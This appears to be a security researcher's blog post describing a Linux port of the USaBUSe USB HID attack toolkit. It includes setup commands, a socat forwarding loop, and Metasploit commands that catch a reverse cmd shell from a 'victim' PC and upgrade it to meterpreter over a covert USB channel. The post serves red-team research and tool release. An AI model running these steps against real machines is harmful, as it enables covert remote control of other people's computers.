(If you’re new to this project, read the intro first)
For the past few months, I’ve been working on porting the USaBUSe stack from the custom hardware (AVR+ESP8266) to the Linux USB gadget stack. I wanted to make the techniques more accessible to people unfamiliar with embedded development, and I also wanted to take advantage of the variety of possibilities inherent in having a fully featured Linux environment to work in. I presented this work at HackCon in Norway.
I recently pushed the latest version of the software to our GitHub repo. It should run just fine on a variety of Linux SBCs (Single Board Computers), such as:
- the Raspberry Pi Zero, if you add some form of wireless back channel, such as a RedBear IoT pHAT, or a 3G modem
- the new Raspberry Pi Zero W with built-in WiFi
- or any other SBC that has USB gadget or OTG support, and a communications channel.
It comprises several parts:
- A couple of shell scripts for configuring the USB gadget, and cleaning up afterwards.
- A VNC server, running on the SBC, that emits any keystrokes or mouse movements received via the created HID gadget. It also emits any text received via the ClientCutText message as a series of keystrokes, which helps to improve the typing rate by avoiding round trips. We have clocked the typing at around 300 characters per second, which is a huge improvement on our first release!
- A HIDProxy server, running on the SBC or remotely, that monitors the raw HID device, delivers the PowerShell second stage over channel 0, and de-multiplexes the remaining channels into individual socket connections.
- An updated Powershell first and second stage that understands the new multiplexing protocol. The second stage now starts a CMD prompt on channel 1, and accepts connections on localhost:65535, to be relayed over the multiplexed protocol.
- The “attack” script, that sends the initial “typed” payload to the VNC server.
- Finally, you need something to catch the shell that comes back. This may be Metasploit Framework, or something else.
Setting it up
I’ll assume that you have the SBC installed with a version of Linux. Depending on the SBC, you may have to jump through other hoops to get the OTG interface working. For examples, on the Raspberry Pi Zero, follow Gbaman’s guide. On the BeagleBone Black, everything is configured already, as far as I recall.
To make sure it is ready, check that the following command returns a result:
ls -l /sys/class/udc/
You will likely need a few prerequisites before you continue, particularly:
sudo apt install git libvncserver-dev build-essentials
git clone https://github.com/SensePost/USaBUSe
Run the script to configure the USB gadget:
cd USaBUSe/linux sudo ./configure_USB.sh
You should see the OS recognise the new device, and load the drivers.
Compiling the VNC server should be fairly simple, just run make in the appropriate directory.
cd ../vncserver make ./usabuse_vnc &
Or alternatively, do not background it, and continue in a new terminal window (e.g. using screen).
At this point, you need to make a decision about where you want to run the HID proxy server. As a Java application, it can be a little heavyweight to run on a small SBC. It can run OK on the Pi Zero, but there is not a huge amount of memory available. The alternative is to forward the HID device file over the network to a more capable computer, using socat:
while sleep 5; do socat TCP:192.168.2.1:65534 /dev/hidg1 done
Substitute the 192.168.2.1 IP address for that of your own workstation. This will continuously attempt to connect to the HID Proxy server, and only then start reading and writing from the HID device.
Install Java on the computer you plan to run the HIDProxy on:
sudo apt install oracle-java8-jdk maven2 mvn package java -jar target/hidproxy-1.0.0.one-jar.jar
By default, the application will listen on *:65534 for an incoming connection, assuming that the HIDProxy is being run on a different machine to the SBC. To run it on the SBC, run it as follows:
java -Dsource=/dev/hidg1 -jar target/hidproxy-1.0.0.one-jar.jar
By default, HIDProxy will forward connections on channel 1 to localhost:4444, and any higher connections to localhost:65535. This is because the first connection is always the cmd shell, and any other connections will be connections to localhost:65535 on the victim.
To capture the cmd shell using metasploit framework, run the following commands in msfconsole:
use multi/handler set payload windows/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 set ExitOnSession false exploit -j
Now any inbound cmd shells will be caught by msf console, and can be interacted with at leisure.
To illustrate the power of the listening socket on the victim’s machine, we can now upgrade the shell to a full meterpreter session, still without causing any traffic on the victim’s network interfaces.
use post/multi/manage/shell_to_meterpreter set LHOST 127.0.0.1 set LPORT 65535 set SESSION 1 exploit
This will cause msfconsole to type a whole lot of powershell into the existing shell session, which will then connect back to localhost:65535 on the victim’s machine, get forwarded over the HID pipe, via socat to HIDProxy, and eventually get demultiplexed onto a socket that connects to localhost:65535 on the attackers machine! After some time, the meterpreter DLL will be transferred over this socket, and a fully fledged meterpreter session will be available on the attacker’s msfconsole!
Obviously, this is not limited to running meterpreter, it could be used to stage an Empire payload connecting back to http://localhost:65535/ on the victim’s machine, or any other custom payload you wish (that can be typed into a cmd.exe session).
The biggest piece of work still required is probably performance improvements. It is quite possible to achieve almost 64kBps (64000Bps) across the raw HID endpoint, using a plain “pv /dev/zero > /dev/hidg1”, with a powershell reader that simply discards the read packets. Performance with the current code varies (for no discernable reason) between 1kBps and around 10kBps, but sometimes spikes up to around 30kBps. I’d love someone with more Powershell skills to fix my terrible code!